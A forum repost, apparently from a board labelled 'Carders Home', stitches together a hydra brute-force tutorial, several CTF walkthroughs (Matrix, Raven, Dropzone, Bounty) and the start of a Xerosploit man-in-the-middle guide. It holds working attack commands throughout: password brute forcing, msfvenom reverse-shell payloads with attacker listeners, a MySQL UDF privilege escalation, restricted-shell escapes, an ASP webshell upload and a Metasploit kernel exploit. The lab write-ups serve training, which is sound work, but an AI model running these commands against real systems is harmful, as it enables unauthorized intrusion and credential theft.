medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -Z h1u3u4.
[Image: 15.png?w=687&ssl=1]

Hello friends!! Today we are going to discuss – How much impactful hydra is in cracking login credentials of various protocols to make unauthorized access to a system remotely. In this article, we have discussed each option available in hydra to make brute force attacks in the various scenario.
Table of Content

Introduction to hydra
Multiple Features of Hydra
Password Guessing For Specific Username
Username Guessing For Specific Password
Cracking Login Credential
Use of Verbose or Debug Mode for Examining Brute Force
NULL/Same as Login/Reverse login Attempt
Save Output to Disk
Resuming The Brute Force Attack
Password Generating Using Various Set of Characters
Attacking on Specific Port Instead of Default
Making Brute Force Attack on Multiple Hosts

Introduction to Hydra
Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
[Image: 1.png?w=687&ssl=1]

Multiple Feature of Hydra
Since we are using GNOME build of Kali Linux, therefore, the “the-hydra” package is already included by default, all we need to do, open the terminal and just type “hydra -h” and press Enter. You will be welcomed by its help screen.
-R : restore a previous aborted/crashed session
-I : ignore an existing restore file.
-S : perform an SSL connect
-s : PORT if the service is on a different default port, define it here
-l LOGIN or -L : FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P : FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET : password bruteforce generation, type “-x -h” to get help
-e nsr : try “n” null password, “s” login as pass and/or “r” reversed login
-u : loop around users, not passwords (effective! implied with -x)
-C FILE : colon separated “login:pass” format, instead of -L/-P options
-M FILE : list of servers to be attacked in parallel, one entry per line
-o FILE : write found login/password pairs to FILE instead of stdout
-f / -F : exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS : run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME : wait time for responses (32s) / between connects per thread
-4 / -6 : prefer IPv4 (default) or IPv6 addresses
-v / -V / -d : verbose mode / show login+pass for each attempt / debug mode
-U : service module usage details
server : the target server (use either this OR the -M option)
service : the service to crack (see below for supported protocols)
OPT : some service modules support additional input (-U for module help)
Reference Source:

[To see content please register here]

Password Guessing For Specific Username
Hydra is a very impactful tool and also quite easy to use for making a brute force attack on any protocol.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[ Tongue

ORT][/OPT]]
Suppose you want to crack password for ftp (or any other) whose username is with you, you only wish to make a password brute force attack by using a dictionary to guess the valid password.
At that moment you should go with the following command where -l option enables username parameter and -P options enables dictionary for the password list.
hydra -l raj -P pass.txt 192.168.1.108 ftp
1
hydra -l raj -P pass.txt 192.168.1.108 ftp
As you can observe it has found 1 valid password: 123 for username: raj for FTP login.
[Image: 3.png?w=687&ssl=1]

Username Guessing For Specific Password
Suppose you want to crack username for FTP (or any other) whose password is with you, you only wish to make a username brute force attack by using a dictionary to guess the valid username. Hence it is a vice-versa situation compared to the above situation.
At that moment you should go with the following command where -L option enables dictionary for username list and -p options enables password parameter.
hydra -L user.txt -p 123 192.168.1.108 ftp
1
hydra -L user.txt -p 123 192.168.1.108 ftp
As you can observe it has found 1 valid username: raj for the password: 123 FTP login.
[Image: 4.png?w=687&ssl=1]

Cracking Login Credential
Suppose you want to crack username and password for FTP (or any other), wish to make username and password brute force attack by using a dictionary to guess the valid combination
At that moment you should go with the following command where -L option enables dictionary for username list and – P options enables dictionary for a password list.
hydra -L user.txt -P pass.txt 192.168.1.108 ftp
1
hydra -L user.txt -P pass.txt 192.168.1.108 ftp
As you can observe it has found 1 valid username: raj for password: 123 FTP login.
[Image: 5.png?w=687&ssl=1]

Use of Verbose or Debug Mode for Examining Brute Force
You can use -V option along with each command, with the help of verbose mode you can observe each attempt for matching the valid combination of username and password. If you will observe the given below image; then you will find there are 5 usernames in the user.txt file (L=5) and 5 passwords in a pass.txt file (P=5) and hence the total number of login attempts will be 5*5=25.
[Image: 6.png?w=687&ssl=1]

Even you can use -d option that enables debug and verbose mode together and shows complete detail of attacking mode.
[Image: 7.png?w=687&ssl=1]

As you can observe the verbose mode is showing each attempt for matching valid credential for username and password with the help of user.txt and pass.txt as well as debug mode is showing wait-time, con-wait, socket, send pid and received pid
[Image: 8.png?w=687&ssl=1]

NULL/Same as Login/Reverse login Attempt
Using option -e along with nsr enables three parameter null/same as login/reverse login while making brute force attack on the password field, if you will observe the given below image then you will notice that this time L=5 and automatically P=8 which means now the total number of login tries will be 5*8=40.
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -V -e nsr
1
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -V -e nsr
As you can observe with every username, it is trying to match the following combination along with the password list.
Login “root” and pass “” as null password
Login “root” and pass “root” as same as the login
Login “root” and pass “toor” as the reverse of login
[Image: 9.png?w=687&ssl=1]

Save Output to Disk
For the purpose of the record maintenance, better readability, and future references, we will save the output of the hydra brute force attack in a file. To this, we will use the parameter -o of the hydra to save the output in a text file.
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -o result.txt
1
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -o result.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file or not. In this case, our location for output is /root /output.txt.
[Image: 10.png?w=687&ssl=1]

Resuming the Brute Force Attack
Sometimes while making brute force, the attack gets paused/halt or cancel accidentally at this moment to save your time you can use -r option that enables resume parameter and continue the brute-forcing from the last dropped attempt of the dictionary instead of starting it from the 1st attempt.
hydra -L user.txt -P pass.txt 192.168.1.108 ftp
hydra -R
1
2
hydra -L user.txt -P pass.txt 192.168.1.108 ftp
hydra -R
Now you can observe the output result from the given below image where after pressing ctrl C it stopped the attack and then type hydra -R to resume the attack and continue it.
[Image: 11.png?w=687&ssl=1]

Password Generating Using Various Set of Character
Hydra has -x option that enables password generation option that involves following instructions:
-x MIN:MAX:CHARSET
MIN is used to specify the minimum number of characters in the password
MAX is used to specify the maximum number of characters in the password
CHARSET is used to specify a specification of the characters to use in the generation valid CHARSET values are: ‘a’ for lowercase letters, ‘A’ for uppercase letters, ‘1’ for numbers, and for all others, just add their real representation.
-y disables the use if the above letters as placeholders
Now suppose we want to try 123 as the password for that I should set MIN=1, MAX=3 CHARSET 1 for generating a numeric password for the given username and run following command as said.
hydra -l shubham -x 1:3:1

[To see content please register here]

or
hydra -l raj -x 1:3:1 192.168.1.108 ftp
hydra -l raj -x 1:3:1 192.168.1.108 ftp -y
1
2
3
4
hydra -l shubham -x 1:3:1

[To see content please register here]

or
hydra -l raj -x 1:3:1 192.168.1.108 ftp
hydra -l raj -x 1:3:1 192.168.1.108 ftp -y
As you can observe it has found 1 valid password: 123 for username: raj for FTP login.
[Image: 12.png?w=687&ssl=1]

Now suppose we want to try abc as the password for that I should set MIN=1, MAX=3 CHARSET a for generating lowercase character password for the given username and run following command as said.
hydra -l shubham -x 1:3:a

[To see content please register here]

-V
1
hydra -l shubham -x 1:3:a

[To see content please register here]

-V

As you can observe it has found 1 valid password: abc for username: shubham for FTP login.
[Image: 14.png?w=687&ssl=1]

Attacking on Specific Port Instead of Default
Due to security concern; the network admin can change the port number of a service on another port. Hydra makes brute force attack on the default port of service as you can observe in above all attacks it has automatically made the attack on port 21 for FTP login.
But you can use -s option that enables specific port number parameter and launch the attack on mention port instead of default port number.
Suppose on scanning the target network; I found FTP is running port 2121 instead of 21, therefore, I will execute the following command for FTP login attack.
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -s 2121
1
hydra -L user.txt -P pass.txt 192.168.1.108 ftp -s 2121
As you can observe it has found 1 valid password: 123 for username: raj for FTP login.
[Image: 15.png?w=687&ssl=1]

Making Brute Force Attack on Multiple Host
If you want to use a user-pass dictionary on multiple hosts in a network then you can use -M option that enables the host list parameter and make brute force attack using the same dictionary and will try the same number of login attempt on each HOST IP mentioned in the host’s list.
Here you can observe I had saved two host IP in a text file and then used the following command to make brute force attack on multiple hosts by using the same dictionary.
hydra -L user.txt -P pass.txt -M hosts.txt ftp
1
hydra -L user.txt -P pass.txt -M hosts.txt ftp
As you can observe it has found 2 valid FTP logins for each Host.
[Image: 16.png?w=687&ssl=1]

Suppose you had given a list of multiple targets and wish to finish the brute force attack as soon as it has found the valid login for any host IP, then you should use -F options which enables finish parameter when found valid credential for either host from inside the host list.
hydra -L user.txt -P pass.txt -M hosts.txt ftp -V -F
1
hydra -L user.txt -P pass.txt -M hosts.txt ftp -V -F
As you can observe it has found 1 valid FTP logins for 192.168.1.108 and finished the attack.
[Image: 17.png?w=687&ssl=1]

Disclaimer by Hydra – Please do not use in military or secret service organizations, or for illegal purposes.

[Guide] How to Matrix: 1 Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 09:58 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another boot2root challenge known as Matrix. The credit for making this VM machine goes to “Ajay Verma” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Intermediate
Flags: There is one flag (flag.txt).
Table of Contents:

Port scanning and IP discovery.
Hitting on port 80
Hitting on port 31337 and finding base64 encoded string
Decode base64 encoded string
Finding and downloading Bin file
Decoding brainfuck encoded string
Creating a dictionary using crunch
SSH login brute force using hydra
Finding rbash
Escaping a restricted shell environment
Exporting environment variables
Getting root access.
Reading the flags.

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target –> 192.168.1.18
Our next step is to scan our target with nmap.
[Image: 2.png?w=687&ssl=1]

The NMAP output shows us that there are 4 ports open: 22(SSH), 80(HTTP), 31337(HTTP)
We find that port 80 is running http, so we open the IP in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the web service running on port 80. So we start enumerating the web service running on port 31337.
[Image: 4.png?w=687&ssl=1]

We take a look at the source code of the web service running on port 31337 and find a base64 encoded string.
[Image: 5.png?w=687&ssl=1]

We decode the base64 encoded string and find a hint to that is related “Cypher.matrix”.
[Image: 6.png?w=687&ssl=1]

We open “Cypher.matrix” on the web service running on port 31337 and find that it starts downloading a BIN file.
[Image: 7.png?w=687&ssl=1]

We take a look at the content of the file and find “brainfuck” encoded string.
[Image: 8.png?w=687&ssl=1]

We decode the brainfuck encoded a string using this site

[To see content please register here]

and find an incomplete password for the user “guest”.
[Image: 9.png?w=687&ssl=1]

As the last 2 characters are missing we create a wordlist using crunch so that we can brute force SSH login.
crunch 8 8 -t k1ll0r%@ -o dict.txt
1
crunch 8 8 -t k1ll0r%@ -o dict.txt
[Image: 10.png?w=687&ssl=1]

We use hydra to brute force ssh login using the dictionary we created earlier and find the password to be “k1ll0r7n”.
hydra -l guest -P dict.txt 192.168.1.18 ssh
1
hydra -l guest -P dict.txt 192.168.1.18 ssh
[Image: 11.png?w=687&ssl=1]

Now that we know the password we login through SSH using credentials “guest:k1ll0r7n”
ssh [email protected]
1
ssh [email protected]
After logging in we try to run the “ls” command but are unable to run it as we have a rbash shell.
ls
1
ls
We check the PATH environment variable and find the path to be “/home/guest/prog”.
$PATH
1
$PATH
Now as we cannot run “ls” command we try to find commands that can run. After trying a few commands we find that we can run “echo” command. We use the “echo” command to find the executables inside “/home/guest/prog” and find “vi” is available.
echo /home/guest/prog/*
1
echo /home/guest/prog/*
Now we check the SHELL environment variable and find we have an only rbash shell.
echo $SHELL
1
echo $SHELL
[Image: 13.png?w=687&ssl=1]

We run vi so that we can spawn /bin/bash and escape the restricted shell environment.
!/bin/bash
1
!/bin/bash
[Image: 14.png?w=687&ssl=1]

After escaping the restricted shell environment, we export /bin/bash to SHELL environment variable and “/usr/bin” directory to PATH environment variable so that we can run Linux command properly.
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
1
2
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
After exporting into the environment variables, we check the sudoers list and find we can directly get the root shell as we have all the rights.
sudo -l
sudo su
1
2
sudo -l
sudo su
We are unable to execute “su” command as we haven’t exported “/bin” directory into PATH environment. We exported “/bin” directory into a PATH environment variable and again ran the command to login as root using the password we find earlier.
export PATH=/bin:$PATH
sudo su
1
2
export PATH=/bin:$PATH
sudo su
After logging in we go to the root directory and find a file called flag.txt. We take a look at the content of the file and find the congratulatory message.
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 15.png?w=687&ssl=1]

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Raven. Raven is a Beginner/Intermediate boot2root machine. There are two intended ways of getting root and we demonstrate both of the ways in this article.
Table of Contents: (Method 1)

Port scanning and IP discovery.
Hitting on port 80 and the discovery of WordPress CMS.
WPScanning the website to discover two users.
Hitting and brute forcing port 22.
Enumerating the active processes using LinEnum script.
Discovery of MySQL.
Fetching the database username and password from wp-config.php.
Using MySQL to create a UDF (user-defined function) dynamic library.
Compiling UDF exploit to a shared library program.
Running a UDF library program into the victim’s machine.
Setting sticky bit on “find”.
Getting root access.
Reading the flags.

Table of Contents: (Method 2)

Getting shell to the victim and accessing MySQL the same way till step 7 in method 1.
In the MySQL shell, discovering all the databases and tables.
Reading table wp_users from the database WordPress.
Fetching hashes from the table wp_users.
Cracking the hash to get a shell to the other user.
Discovering python has no root required to run.
Spawning root TTY using python one-liner.
Reading the flags.

Using nmap on the victim machine we got three ports open 22,80 and 111
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

So we instantly moved to port 80 and discovered a website of Raven Security.
[Image: 3.png?w=687&ssl=1]

On the top right, we found a tab saying “blog” and moved to the webpage only to discover that the victim’s machine had WordPress CMS installed!
[Image: 4.1.png?w=687&ssl=1]

So, the first idea that came to us was to run a wpscan on the webpage and see what the scan enumerates.
wpscan --url

[To see content please register here]

--wp-content-dir -ep -et -eu
1
wpscan --url

[To see content please register here]

--wp-content-dir -ep -et -eu
[Image: 4.png?w=687&ssl=1]

The results returned 2 valuable users made on the victim’s machine:
Michael and Steven.
[Image: 5.png?w=687&ssl=1]

Now, to proceed further in the same port was seeing blurry to the eye so we tried hitting port 22 (SSH).
It is a fairly logical “hit and try” method to use the same word as both the username and password too.
We logged in to SSH with “michael” as the username and “michael” and got into the shell successfully!
Then we changed the active directory to /tmp and imported LinEnum.sh, a script to enumerate many of the basic and advanced Linux details.
It was hosted in a folder on our local machine and was imported into the victim machine using wget command.
My local IP address was 192.168.1.109 in this case.
ssh [email protected]
cd /tmp
wget

[To see content please register here]

chmod 777 LinEnum.sh
1
2
3
4
ssh [email protected]
cd /tmp
wget

[To see content please register here]

chmod 777 LinEnum.sh
[Image: 6.png?w=687&ssl=1]

After changing the permissions of the file to executable we ran the script only to find that MySQL service was running (port 3306 is evident to that).
[Image: 7.png?w=687&ssl=1]

We found a MySQL-Exploit-Remote-Root-Code-Execution-Privesc vulnerability! (FOR MORE INFO:

[To see content please register here]

)

So, we changed the current directory to /var/www/html/wordpress and searched for the wp-config file, since it will have the password to the MySQL database.
[Image: 9.png?w=687&ssl=1]

The password was found to be:
R@v3nSecurity
1
R@v3nSecurity
[Image: 10.png?w=687&ssl=1]

So, we searched for a UDF dynamic library exploit and it was named “1518.c” in the exploit database.

[To see content please register here]

We then fired up a local server and transferred this 1518.so file to the victim’s /tmp directory since it is universally readable and writable using the wget command.
wget

[To see content please register here]

chmod 777 1518.so
mysql –u root –p
1
2
3
wget

[To see content please register here]

chmod 777 1518.so
mysql –u root –p
<entered password>
After getting a MySQL shell, we started exploiting it using the vulnerability we just found
use mysql;
1
use mysql;
Now, we created a table called “foo”
In this table, we inserted the link to 1518.so file we just imported from the local machine to /tmp directory.
We dumped the same file to /usr/lib/mysql/plugin/ directory (since it was vulnerable)
In the most important step, we created a UDF function named do_system, that will invoke the code that implements the function.
Hence, we are invoking the code “chmod u+s /usr/bin/find” to set the sticky bit on “find”
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
1
2
3
4
5
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
[Image: 13.png?w=687&ssl=1]

But since the task is also to capture all the flags we found it using the command:
find / -name "flag*.txt"
1
find / -name "flag*.txt"
[Image: 15.png?w=687&ssl=1]

Second Method
Reach to the MySQL shell as above and then follow the alternate approach.
See all the databases and dump the usernames from the wp_users table in the database “WordPress”
show databases;
use wordpress;
show tables;
select * from wp_users;
1
2
3
4
show databases;
use wordpress;
show tables;
select * from wp_users;
[Image: 16.png?w=687&ssl=1]

We found two hashes but since we already know the password to Michael, we cracked Steven’s password using John the Ripper by pasting the hash into a text file called “hash.”
The password was found to be: pink84
[Image: 17.png?w=687&ssl=1]

Logging into steven’s shell and running sudo -l command we found that Python required no root permission to run.
So, we spawned a python teletype (PTY) using python’s one-liner.
su steven
sudo –l
sudo python –c 'import pty;pty.spawn("/bin/bash")'
id
1
2
3
4
su steven
sudo –l
sudo python –c 'import pty;pty.spawn("/bin/bash")'
id
[Image: 18.png?w=687&ssl=1]

So, here it is! Two ways to root Raven. Hope you found this article useful.

Today we are going to solve another CTF challenge “Dropzone”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Dropzone is 10.10.10.90
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sU -T4 10.10.10.90
1
nmap -sU -T4 10.10.10.90
From the given below image, you can observe we found port 69 is open on the target system and running TFTP service.
[Image: 1.png?w=687&ssl=1]

We connect to the target system using a TFTP client and find that we can upload and download the file. We get the “boot.ini” file to find the operating system running system on the target machine.
tftp 10.10.10.90
1
tftp 10.10.10.90
We take a look at the boot.ini file and find that the target system is running “Windows XP”.
cat boot.ini
1
cat boot.ini
[Image: 2.png?w=687&ssl=1]

We are unable to find any exploit for TFTP service. So we are going to use MOF file WMI exploitation to get a reverse shell of the target machine.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.4 lport=443 -f exe > hack.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.4 lport=443 -f exe > hack.exe
[Image: 3.png?w=687&ssl=1]

We have an MSF module called “wbemexec.rb” to generate MOF file (you can find the file

[To see content please register here]

). We download the file and edit it to run our shellcode. You can download the modified code from

[To see content please register here]

We upload both the shell and the MOF file using TFTP.
tftp> binary
tftp> put hack.exe /WINDOWS/system32/hack.exe
tftp> put hack.mof /WINDOWS/system32/wbem/mof/hack.mof
1
2
3
tftp> binary
tftp> put hack.exe /WINDOWS/system32/hack.exe
tftp> put hack.mof /WINDOWS/system32/wbem/mof/hack.mof
[Image: 4.png?w=687&ssl=1]

We set up our listener before uploading both the files.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.4
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.4
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
As soon as we upload the MOF file and our payload we get a reverse shell. After getting the reverse shell we check for system information and find that we have spawned a shell as administrator.
meterpreter > sysinfo
meterpreter > getuid
1
2
meterpreter > sysinfo
meterpreter > getuid
[Image: 5.png?w=687&ssl=1]

We go to “c:\Documents and Settings\Administrator\Desktop” and find a file called “root.txt”. We take a look at the content of the file and find that the flag is not present there.
meterpreter > cd Administrator
meterpreter > ls
meterpreter > cd Desktop
meterpreter > ls
meterpreter > cat root.txt
1
2
3
4
5
meterpreter > cd Administrator
meterpreter > ls
meterpreter > cd Desktop
meterpreter > ls
meterpreter > cat root.txt
[Image: 6.png?w=687&ssl=1]

We go to the “flags” directory and find a file called “2 for the price of 1!.txt” and find a hint that we have to use alternate data streams to find the flags. Alternate data streams are an attribute that can be found in the NTFS file system. They can also be used to hide data from users.
meterpreter > cd flags
meterpreter > dir
meterpreter > cat "2 for the price of 1!.txt"
1
2
3
meterpreter > cd flags
meterpreter > dir
meterpreter > cat "2 for the price of 1!.txt"
We can use streams.exe from Sysinternals to examine Alternate Data Streams. (You can download the tool from

[To see content please register here]

)
We upload the streams.exe into the target machine. We spawn the shell and execute the file to find data streams in the current directory and find both user and root flag.
meterpreter > upload /root/Downloads/Streams/streams.exe
meterpreter > shell
streams -accepteula -s .
1
2
3
meterpreter > upload /root/Downloads/Streams/streams.exe
meterpreter > shell
streams -accepteula -s .
[Image: 7.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Bounty”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Table of Content
Scanning

Open ports and Running services (Nmap)

Enumeration

Web Directory enumeration (Dirbuster)

Exploiting Vulnerability

Abusing HTTP through IIS/7.5
Generate RCE by uploading web.config

Access victim’s shell

Execute PowerShell one-liner in RCE (Metasploit)
Get user.txt flag

Privilege Escalation

Exploit kernel to get high privilege shell (Metasploit)
Get root.txt flag

Note: Since these labs are online available therefore they have a static IP. The IP of Bounty is 10.10.10.93
Walkthrough
Scanning
Let’s start off with our basic nmap command to find out the open ports and services.
nmap –A 10.10.10.93
1
nmap –A 10.10.10.93
Things to be observers from its result are port 80 is open for HTTP and Microsoft-IIS/7.5 is service banner.
[Image: 1.png?w=687&ssl=1]

Let’s navigate to port 80 through a web browser. By exploring IP in the URL box, it puts up following web page as shown in the below image.
[Image: 2.png?w=687&ssl=1]

Enumeration
Since we didn’t get any remarkable clue from the home page, therefore, we have opted Dirbuster tool for directory enumeration thus execute the following, here we had used directory-list-2.3-medium.txt directory for web directory enumeration.
[Image: 3.1.png?w=687&ssl=1]

Hmm!! Here I received HTTP response for /transfer.aspx file and /uploadedFiles directories.
[Image: 3.png?w=687&ssl=1]

When we have explored 10.10.10.93/transfer.aspx in the browser and further welcomed by following web Page given below. The following web page lets you upload a file.
[Image: 4.png?w=687&ssl=1]

We try to have many attempts to upload a file but every time we get a message “Invalid File. Please try again”.
[Image: 5.png?w=687&ssl=1]

Exploiting Vulnerability
After so many efforts, I found this

[To see content please register here]

on googling “IIS 7.5 rce upload”. Here we read about the web.config file, which plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique.
[Image: 6.png?w=687&ssl=1]

So with the help of above-given link, we create an asp file to run web.config which will respond by adding 1 and 2.
[Image: 7.png?w=687&ssl=1]

As you can observe, our web.config file is successfully uploaded inside /uploadedfiles/ directory.
[Image: 8.png?w=687&ssl=1]

So we have executed this file, it has given the expected response “3” which is the sum of 1 and 2. Hence now we can inject malicious code in this file which can create RCE vulnerability through it.
[Image: 9.png?w=687&ssl=1]

Luckily!! I found this link:

[To see content please register here]

link for ASP webshell. So I copied the whole content of asp webshell on our web.config file and upload it.
[Image: 10.png?w=687&ssl=1]

Access victim’s shell
On executing the updated web.config file, it creates a form where we can run the command as RCE. Once such surface you can run any malicious command to exploit RCE. Here we will be executing PowerShell code generated via the web delivery module of Metasploit.
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set srvhost 10.10.14.2
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.2
msf exploit(multi/script/web_delivery) run
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set srvhost 10.10.14.2
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.2
msf exploit(multi/script/web_delivery) run
Past the highlighted code given in the image Metasploit inside the text file and run this code to get a meterpreter session.
[Image: 20.png?w=687&ssl=1]

Great!! We have successfully got the meterpreter session of the victim’s machine, now let’s find out the user.txt file to finish this task.
[Image: 21.png?w=687&ssl=1]

We successfully found the user.txt file inside /users/merlin/Desktop. Next, we need to find out the root.txt file to finish this challenge and as we know for that we need to escalated root privilege.
[Image: 22.png?w=687&ssl=1]

Privilege Escalation
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
1
2
3
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the first option as highlighted in the image.
[Image: 23.png?w=687&ssl=1]

This Vulnerability in Task Scheduler could allow elevation of privileges. This module has been tested on vulnerable builds of Windows Vista, Windows 7, Windows Server 2008 x64 and x86.
use exploit/windows/local/ms10_092_schelevator
msf post(windows/local/ms10_092_schelevator) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf post(windows/local/ms10_092_schelevator) > set lhost 10.10.14.2
msf post(windows/local/ms10_092_schelevator) > set lport 5555
msf post(windows/local/ms10_092_schelevator) > set session 1
msf post(windows/local/ms10_092_schelevator) > exploit
1
2
3
4
5
6
use exploit/windows/local/ms10_092_schelevator
msf post(windows/local/ms10_092_schelevator) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf post(windows/local/ms10_092_schelevator) > set lhost 10.10.14.2
msf post(windows/local/ms10_092_schelevator) > set lport 5555
msf post(windows/local/ms10_092_schelevator) > set session 1
msf post(windows/local/ms10_092_schelevator) > exploit
[Image: 24.png?w=687&ssl=1]

Another Meterpreter session gets opened, once the selected exploit has been executed.
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
[Image: 26.png?w=687&ssl=1]

Successfully we have found the the root.txt from the path: C:\Users\Administrator\Desktop.
Wonderful!! We had completed both tasks and hacked this box.
Happy Hacking!!!!
[Image: 27.png?w=687&ssl=1]

[Guide] How to Xerosploit- A Man-In-The-Middle Attack Framework

Posted by: NINZA - 05-14-2020, 09:57 AM - Forum: Carders Home - No Replies

Networking is an important platform for an Ethical Hacker to check on, many of the threat can come from the internal network like network sniffing, Arp Spoofing, MITM e.t.c, This article is on Xerosploit which provides advanced MITM attack on your local network to sniff packets, steal password etc.
Table of Content

Introduction to Xerosploit
Man-In-The-Middle
Xerosploit Installation
PSCAN (Port Scanner)
DOS (Denial of service)
INJECTHTML (HTML INJECTION)
SNIFF
dspoof
YPLAY
REPLACE
Driftnet

Introduction to Xerosploit
Xerosploit is a penetration testing toolkit whose goal is to perform a man in the middle attacks for testing purposes. It brings various modules that allow realising efficient attacks, and also allows to carry out denial of service attacks and port scanning. Powered by

[To see content please register here]

and

[To see content please register here]

.
For those who are not familiar with Man-in-the-middle attack, welcome to the world of internal network attacks
Dependencies

nmap
hping3
build-essential
ruby-dev
libpcap-dev
libgmp3-dev
tabulate
terminal tables

Built-up with various Features:

Port scanning
Network mapping
Dos attack
Html code injection
Javascript code injection
Download interception and replacement
Sniffing
DNS spoofing
Background audio reproduction
Images replacement
Drifnet
Webpage defacement and more

Man-In-The-Middle
A man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. There are many open source tools available online for this attack like Ettercap, MITMF, Xerosploit, e.t.c
From Wikipedia.org
Xerosploit Installation
Xerosploit is an attack tool for MITM which can run only on Linux OS to do so follow the simple steps:-
Open up terminal and type
git clone

[To see content please register here]

cd xerosploit
./install.py
1
2
3
git clone

[To see content please register here]

cd xerosploit
./install.py
It will ask to choose your operating system, here we have press 1 for Kali Linux.
[Image: 1.png?w=687&ssl=1]

Here it will display your network configuration including IP address, MAC address, gateway, and interface and hostname. Now run the following command on xerosploit console to know the initial commands:
help
1
help
[Image: 2.png?w=687&ssl=1]

In this grid, we have a list of commands for our attack and we are going for the man in middle attack, so I will choose scan command in my next step for scanning the whole network.
scan
This command will scan the complete network and will found all devices on your network.
As you can observe that it has scanned all the active hosts. There are so many hosts in this network; you have to choose your target from the given result. I am going to select 192.168.1.105 for the man in the middle attack.
192.168.1.105
1
192.168.1.105
In the next comment, it will ask for the module you want to load for the man in the middle attack. Go with this comment and type help.
help
1
help
[Image: 3.png?w=687&ssl=1]

pscan (Port Scanner)
